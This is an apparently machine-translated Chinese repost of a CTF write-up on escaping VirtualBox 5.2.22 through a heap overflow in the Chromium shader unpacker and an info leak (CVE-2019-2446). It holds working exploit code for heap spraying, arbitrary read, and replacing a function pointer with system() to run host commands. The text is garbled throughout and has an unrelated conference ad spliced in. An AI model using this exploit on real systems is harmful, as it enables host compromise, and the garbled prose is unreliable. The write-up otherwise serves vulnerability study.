应用Chromium破绽争取CTF成功:VitualBox虚拟机逃逸破绽剖析(CVE-2019-2446) | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

应用Chromium破绽争取CTF成功:VitualBox虚拟机逃逸破绽剖析(CVE-2019-2446)

申博_新闻事件 申博 123次浏览 已收录 0个评论

申博网络安全巴士站

申博-网络安全巴士站是一个专注于网络安全、系统安全、互联网安全、信息安全,全新视界的互联网安全新媒体。

————————————-

一、媒介

早在2018年10月,我就留意到Niklas Baumstark宣告了一篇关于VirtualBox的Chromium组件的文章,随后我就最先对它举行研讨。在两周的时间中,我发明并报告了十几个可以或许轻松完成应用的虚拟机逃逸破绽。但遗憾的是,个中的大多数都是反复的。

在2018年12月尾,3C35 CTF时期,我留意到Niklas宣告的一条推文,他宣告VirtualBox的Chromium应战还没有被任何人处理。如许一来,我就愿望专注于这一方面的研讨,因为我想成为第一个争取旌旗的人。

二、应战内容

我们所面临的应战,是在64位Xubuntu上实验针对VirtualBox v5.2.22完成虚拟机逃逸。在应战的题目中,给出了一个提醒,仅仅是API glShaderSource()文档的照片。起首,我认为,我们已将一个破绽人为地注入到该函数中,从而应对应战。然则,在检察了它在Chrome中的完成以后,我意想到我正在面临的是一个实在天下中的破绽。

三、破绽剖析

下面是src/VBox/HostServices/SharedOpenGL/unpacker/unpack_shaders.c代码中的一局部:

void crUnpackExtendShaderSource(void)
{
    GLint *length = NULL;
    GLuint shader = READ_DATA(8, GLuint);
    GLsizei count = READ_DATA(12, GLsizei);
    GLint hasNonLocalLen = READ_DATA(16, GLsizei);
    GLint *pLocalLength = DATA_POINTER(20, GLint);
    char **ppStrings = NULL;
    GLsizei i, j, jUpTo;
    int pos, pos_check;
 
    if (count >= UINT32_MAX / sizeof(char *) / 4)
    {
        crError("crUnpackExtendShaderSource: count %u is out of range", count);
        return;
    }
 
    pos = 20 + count * sizeof(*pLocalLength);
 
    if (hasNonLocalLen > 0)
    {
        length = DATA_POINTER(pos, GLint);
        pos += count * sizeof(*length);
    }
 
    pos_check = pos;
 
    if (!DATA_POINTER_CHECK(pos_check))
    {
        crError("crUnpackExtendShaderSource: pos %d is out of range", pos_check);
        return;
    }
 
    for (i = 0; i < count; ++i)
    {
        if (pLocalLength[i] <= 0 || pos_check >= INT32_MAX - pLocalLength[i] || !DATA_POINTER_CHECK(pos_check))
        {
            crError("crUnpackExtendShaderSource: pos %d is out of range", pos_check);
            return;
        }
 
        pos_check += pLocalLength[i];
    }
 
    ppStrings = crAlloc(count * sizeof(char*));
    if (!ppStrings) return;
 
    for (i = 0; i < count; ++i)
    {
        ppStrings[i] = DATA_POINTER(pos, char);
        pos += pLocalLength[i];
        if (!length)
        {
            pLocalLength[i] -= 1;
        }
 
        Assert(pLocalLength[i] > 0);
        jUpTo = i == count -1 ? pLocalLength[i] - 1 : pLocalLength[i];
        for (j = 0; j < jUpTo; ++j)
        {
            char *pString = ppStrings[i];
 
            if (pString[j] == '\0')
            {
                Assert(j == jUpTo - 1);
                pString[j] = '\n';
            }
        }
    }
 
//    cr_unpackDispatch.ShaderSource(shader, count, ppStrings, length ? length : pLocalLength);
    cr_unpackDispatch.ShaderSource(shader, 1, (const char**)ppStrings, 0);
 
    crFree(ppStrings);
}

该要领运用宏READ_DATA猎取用户数据。现实上,它只是从Guest虚拟机运用HGCM接口发送的音讯中读取,该音讯存储在堆中。然后,它调解输入,并将其传递给cr_unpackDispatch.ShaderSource()。

在这里,第一个显着的进击点是crAlloc(count * sizeof(char*))。我们检察count变量是不是在某个(正值)局限内。然则,因为它是有标记证书,因而还应当搜检是不是存在负值的可以或许。若是我们挑选足够大的手艺,比方0x80000000,那末因为整数溢出,与sizeof(char*)==8的乘法操纵将会取得0,因为这里的统统变量都是32位。抱负状况下,这可以或许致使堆溢出,因为分派的缓冲区太小,而计数过大。然则,这局部代码则不轻易遭到此类进击,因为若是count为负值,则基础不会进入到轮回中(变量i是有标记的,因而二者之间的对照也是有标记的对照)。

现实的破绽其实不显着。在第一个轮回中,pos_check由长度数组递增。在每次轮回中,都邑考证地位,以确保总长度依然在界线以内。这段代码的题目在于,pos_check仅在下一次轮回中搜检是不是在界线局限内。这就意味着,数组的末了一个元素从未经由任何搜检,而且可以或许为恣意巨细。

这一点考证不充分会发生什么样的影响呢?本质上,在嵌套轮回中,j透露表现pStrings的索引,而且其局限是从0到pLocalLength[i]。该轮回将每一个\0字节转换为\n字节。借助恣意长度的题目,我们可以或许使轮回超越局限,而且因为pString指向堆HGCM音讯中的数据,所以这一题目现实上可以或许致使堆溢出。

四、破绽应用

纵然我们不克不及溢出可以或许控制的内容,但若是我们对其举行公道的应用,我们依然可以或许取得恣意代码实行。

为了完成破绽应用,我们将运用3dpwn,这是一个特地用于进击3D加快(3D Acceleration)的库。我们将大批运用CRVBOXSVCBUFFER_t对象,这些对象也是我们之前研讨的目的。它包罗一个独一ID、一个可控制的巨细、一个指向Guest虚拟机可以或许写入的现实数据的指针,和一个双向链表的下一个/上一个指针:

typedef struct _CRVBOXSVCBUFFER_t {
    uint32_t uiId;
    uint32_t uiSize;
    void*    pData;
    _CRVBOXSVCBUFFER_t *pNext, *pPrev;
} CRVBOXSVCBUFFER_t;

另外,我们还将运用CRConnection对象,该对象包罗种种函数指针,和指向Guest虚拟机可以或许读取的缓冲区指针。

若是我们破坏了前一个对象,我们可以或许取得一个恣意的写原语。若是我们破坏了后一个对象,那末我们就可以或许取得一个恣意的读原语和恣意代码实行。

4.1 战略

1. 走漏CRConnection对象的指针。

2. 运用大批CRVBOXSVCBUFFER_t对象放射(Spray)堆,并生存其ID。

3. 找到一个洞,并实行glShaderSource(),以将我们的歹意信息写入洞中。然后,易受进击的代码会使其溢出到相邻的对象中,在抱负状况下,会进入CRVBOXSVCBUFFER_t。我们试图破坏其ID和巨细,以触发第二个堆溢出,我们可以或许经由历程它举行控制。

4. 查找ID列表,检察个中一个是不是消逝。若是有消逝的ID,则证实它应当是运用换行符破坏的ID。

5. 用此ID中的换行符,替代统统零字节,以猎取破坏的ID。

6. 这一破坏的对象,如今将具有比原始更大的长度。我们运用该对象,溢出到第二个CRVBOXSVCBUFFER_t,并使其指向CRConnection对象。

7. 末了,我们可以或许控制CRConnection对象的内容。如前所述,我们可以或许破坏它,以启用恣意读取原语和恣意代码实行。

8. 找到system()的地点,并运用它掩盖函数指针Free()。

9. 在主机上运转恣意敕令。

4.2 堆信息走漏

因为我们的目的是VirtualBox v5.2.22,因而该版本其实不存在影响v5.2.20之前版本的CVE-2018-3055破绽。正如我们在这里所看到的,该破绽被应用来走漏CRConnection的地点。所以,为了应对这一应战,我们是不是应当寻觅新的信息走漏破绽,或许从新设想破绽应用战略?

使人惊奇的是,纵然在v5.2.22版本中,上面的代码依然可以或许走漏我们想要的对象。这怎么可以或许,岂非是没有准确修复吗?经由细致剖析后,我们发明,分派的对象的巨细为0x290字节,而衔接的偏移量为OFFSET_CONN_CLIENT,也就是0x248。在这里,并没有超越界线。

msg = make_oob_read(OFFSET_CONN_CLIENT)
leak = crmsg(client, msg, 0x290)[16:24]

值得存眷的是,这一题目的缘由在于未初始化的内存破绽。也就是说,svcGetBuffer()要领正在要求堆内存来存储来自Guest的音讯。然则,它却没有消灭缓冲区。因而,任何返回音讯缓冲区数据的API都可以或许被滥用,从而能将有价值的堆信息走漏给Guest。我推想,Niklas晓得这一破绽,因而我决议运用这一破绽来完成这一应战。现实上,在竞赛完毕后的几周,宣布了关于这一破绽的补钉,并为其分派了CVE-2019-2446的编号。

4.3 堆放射

我们可以或许运用alloc_buf()借助CRVBOXSVCBUFFER_t完成堆放射,以下所示:

bufs = []
for i in range(spray_num):
bufs.append(alloc_buf(self.client, spray_len))

依据履历,我发明可以或许挑选spray_len = 0x30和spray_num = 0x2000,因为它们的缓冲区终究将是一连的,而且pData指向的缓冲区与其他CRVBOXSVCBUFFER_t相邻。

接下来,我们想在分派中制造一个洞,如许我们就可以或许用歹意的信息占有它。

详细而言,这是经由历程向主机发送敕令SHCRGL_GUEST_FN_WRITE_READ_BUFFERED来完成的,个中hole_pos = spray_num – 0x10:

探索之旅 | DEF CON CHINA 1.0正式起航,早鸟票倒计时1天!

2019年4月29日,DEF CON CHINA 1.0发布会正式在京开启。DEF CON CHINA的幕后英雄们如约而至来到活动现场,共同开启了DEF CON CHINA 1.0新的篇章。 追忆2018年5月,百度安全将DEF CON成功引入中国,联合DEF CON创立DEF CON CHINA,这是DEF CON首次走出拉斯维加斯,而首次会议也定义为DEF CON CHINA Beta(试验版)。虽然首届DEF CON CHINA定义为Beta版,但在国内人气及热度出乎意料的高,让DEF CON创始人Jeff Moss感受到了中国极客对技术的渴望以及对探索的追求。 参会嘉宾撑爆主会场的场面至今还历历在目 DEF CON CHINA 1.0于5月31日正式

hgcm_call(self.client, SHCRGL_GUEST_FN_WRITE_READ_BUFFERED, [bufs[hole_pos], "A" * 0x1000, 1337])

我们可以或许参考src/VBox/HostServices/SharedOpenGL/crserver/crservice.cpp中此敕令的完成。

4.4 第一次溢出

如今,我们已细致设置了堆,接下来预备分派音讯缓冲区并触发溢出,以下所示:

msg = (pack("<III", CR_MESSAGE_OPCODES, 0x41414141, 1)
        + '\0\0\0' + chr(CR_EXTEND_OPCODE)
        + 'aaaa'
        + pack("<I", CR_SHADERSOURCE_EXTEND_OPCODE)
        + pack("<I", 0)    # shader
        + pack("<I", 1)    # count
        + pack("<I", 0)    # hasNonLocalLen
        + pack("<I", 0x22) # pLocalLength[0]
        )
crmsg(self.client, msg, spray_len)

须要注重的是,我们发送的音讯与方才开释的音讯巨细完全相同。因为glibc堆的事情道理,新的音讯异常有可以或许占有与开释音讯完全相同的地位。另外,须要注重count = 1,而且只要末了一个长度可以或许是恣意巨细。因为只要一个元素,所以明显,第一个元素也恰是末了一个元素。

末了,我们使pLocalLength[0] = 0x22。这个值足以破坏ID和巨细字段,我们其实不想破坏pData。

那末,详细是如何来盘算的?

1. 音讯的长度为0x30字节

2. pString的偏移量是0x28

3. glibc块的头部(64位)宽0x10字节

4. uild和uiSize都是32位无标记整数

5. 在crUnpackExtendShaderSource()中将pLocalLength[0]减去2

因而,我们须要0x30-0x28 = 8个字节,能力抵达音讯的末端,0x10个字节要经由块的头部,还须要8个字节来掩盖uiId和uiSize。为了赔偿减法运算,我们还必须再增添2个字节。整体来讲,这就相当于0x22字节。

4.5 找到破坏地位

追念一下,size字段是一个32位无标记整数,我们挑选的巨细是0x30字节。因而,该字段在破坏后将连结为值0x0a0a0a30(个中的3个零字节已被字节0x0a替代)。

要查找破坏的ID,这一历程轻微庞杂一些,须要我们遍历ID列表,以找出它们当中的哪个消逝了。我们经由历程向每一个ID发送SHCRGL_GUEST_FN_WRITE_BUFFER音讯来实行此操纵,以下所示:

print("[*] Finding corrupted buffer...")
 
found = -1
 
for i in range(spray_num):
    if i != hole_pos:
        try:
            hgcm_call(self.client, SHCRGL_GUEST_FN_WRITE_BUFFER, [bufs[i], spray_len, 0, ""])
        except IOError:
            print("[+] Found corrupted id: 0x%x" % bufs[i])
            found = bufs[i]
            break
 
if found < 0:
    exit("[-] Error could not find corrupted buffer.")

末了,我们用\n字节手动替代每一个\0,以婚配破坏的缓冲区的ID:

id_str = "%08x" % found
new_id = int(id_str.replace("00", "0a"), 16)
print("[+] New id: 0x%x" % new_id)

如今,我们就具有了举行第二次溢出所须要的统统,我们可以或许终究控制其内容。我们的终究目的是,掩盖pData字段,并使其指向我们之前走漏的CRConnection对象。

4.6 第二次溢出

运用new_id和巨细0x0a0a0a30,我们如今可以或许破坏第二个CRVBOXSVCBUFFER_t。与之前的溢出相似,这是有用的,因为这些缓冲区相互相邻。然则,此次我们运用ID为0x13371337、巨细为0x290且指向self.pConn的伪对象来掩盖它。

try:
    fake = pack("<IIQQQ", 0x13371337, 0x290, self.pConn, 0, 0)
    hgcm_call(self.client, SHCRGL_GUEST_FN_WRITE_BUFFER, [new_id, 0x0a0a0a30, spray_len + 0x10, fake])
    print("[+] Exploit successful.")
except IOError:
    exit("[-] Exploit failed.")

须要注重的是,spray_len + 0x10透露表现偏移量,我们再次跳过块头部的0x10字节。在实行此操纵后,我们可以或许修正CRConnection对象的内容。如前所述,这终究使我们可以或许运用恣意读取原语,并许可我们经由历程替代Free()函数指针来挪用任何我们想要的内容。

4.7 恣意读取原语

发出SHCRGL_GUEST_FN_READ敕令时,pHostBuffer中的数据将被发送回Guest。运用我们的自定义0x13371337 ID,我们可以或许运用自定义的指针掩盖此指针及其响应的巨细。然后,我们运用self.client2客户端发送SHCRGL_GUEST_FN_READ音讯来触发我们的恣意读取(这是走漏的CRConnection的客户端ID):

hgcm_call(self.client, SHCRGL_GUEST_FN_WRITE_BUFFER, [0x13371337, 0x290, OFFSET_CONN_HOSTBUF,   pack("<Q", where)])
hgcm_call(self.client, SHCRGL_GUEST_FN_WRITE_BUFFER, [0x13371337, 0x290, OFFSET_CONN_HOSTBUFSZ, pack("<I", n)])
res, sz = hgcm_call(self.client2, SHCRGL_GUEST_FN_READ, ["A"*0x1000, 0x1000])

4.8 恣意代码实行

在每一个CRConnection对象中,都存在函数指针Alloc()、Free()等,卖力存储Guest虚拟机的音讯缓冲区。另外,它们将CRConnection对象本身作为第一个参数。对我们来讲,这是异常圆满的,因为它可以或许用来启动ROP链,或许简朴地用恣意敕令挪用system()。

为此,我们须要在偏移量OFFSET_CONN_FREE的地位掩盖指针,并在偏移量0处掩盖我们所需参数的内容,以下所示:

hgcm_call(self.client, SHCRGL_GUEST_FN_WRITE_BUFFER, [0x13371337, 0x290, OFFSET_CONN_FREE, pack("<Q", at)])
hgcm_call(self.client, SHCRGL_GUEST_FN_WRITE_BUFFER, [0x13371337, 0x290, 0, cmd])

触发Free()异常简朴,只须要我们运用self.client2向主机发送任何有用音讯便可。

4.9 寻觅system()

我们已晓得一个地点,即crVBoxHGCMFree()。它是存储在Free()字段中的函数指针。这一子例程位于模块VBoxOGLhostcrutil中,该模块还包罗libc的其他存根(Stub)。因而,我们可以或许很轻易地盘算出system()的地点。

self.crVBoxHGCMFree = self.read64(self.pConn + OFFSET_CONN_FREE)
print("[+] crVBoxHGCMFree: 0x%x" % self.crVBoxHGCMFree)
 
self.VBoxOGLhostcrutil = self.crVBoxHGCMFree - 0x20650
print("[+] VBoxOGLhostcrutil: 0x%x" % self.VBoxOGLhostcrutil)
 
self.memset = self.read64(self.VBoxOGLhostcrutil + 0x22e070)
print("[+] memset: 0x%x" % self.memset)
 
self.libc = self.memset - 0x18ef50
print("[+] libc: 0x%x" % self.libc)
 
self.system = self.libc + 0x4f440
print("[+] system: 0x%x" % self.system)

4.10 争取旌旗

如今,我们离争取旌旗只要一步之遥。该Flag存储在位于~/Desktop/flag.txt的文本文件中。我们可以或许经由历程任何文本编辑器或终端翻开文件,以检察其内容。在应战的历程当中,我们可以或许直接“看到”旌旗,因为在提交代码后,一段简短的视频将会传回给我们。Xubuntu没有预装geedit,但在Google上敏捷搜刮后,我们找到了文本编辑器Mousepad。

在第一次提交时期,还发生了一个小题目,就是体系发生了瓦解。我很快就意想到,我们不克不及运用凌驾16个字节的字符串,因为一些指针位于这一偏移处,若是运用无效内容掩盖它,将会致使段毛病(Segmentation Fault)。

为此,我运用了一些技能,并将文件途径缩短了两次,如许就可以或许用较少的字符完成翻开操纵:

p.rip(p.system, "mv Desktop a\0")
p.rip(p.system, "mv a/flag.txt b\0")
p.rip(p.system, "mousepad b\0")

应用Chromium破绽争取CTF成功:VitualBox虚拟机逃逸破绽剖析(CVE-2019-2446)

不错,在举行了4-5小时的研讨以后,我终究争取了旌旗,并很愉快能成为第一个处理这一应战的人。几个小时后,Tea Delivers团队也胜利应用了这个很酷的破绽,祝贺他们。

五、总结

若是我们之前一直在运用这一虚拟机,那末这个应战并非很难处理。据我所知,经由历程竖立一个更好的Heap Constellation,我们可以或许直接溢出到CRConnection对象,并修正cbHostBuffer字段,终究启用越界读取原语,从而在不应用任何破绽的状况下处理这一应战。然则,在压力和高兴的两重作用下,我挑选了分外的破绽来处理这一题目。只管如此,这一历程照样异常风趣。只管Chromium中存在很多信息走漏破绽,险些每一个Opcode都可以或许会走漏栈或堆信息,但内存破坏破绽照样对照稀缺的,因而我异常高兴能发明这一题目。

末了一点,也是对照主要的一点,我在控制代码中存在破绽的状况以后,就很轻易辨认题目。现实上,只管我一直在举行研讨,但我最最先却认为它是没法被应用的。因而,我们要以乐观主动的心态来对待代码,若是我们置信任何代码中可以或许存在题目,就要深信终究一定可以或许发明它们。不要泄气,也不要抱有“若是有破绽,那末其他人一定早就发明了”如许的心态。


申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明应用Chromium破绽争取CTF成功:VitualBox虚拟机逃逸破绽剖析(CVE-2019-2446)
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址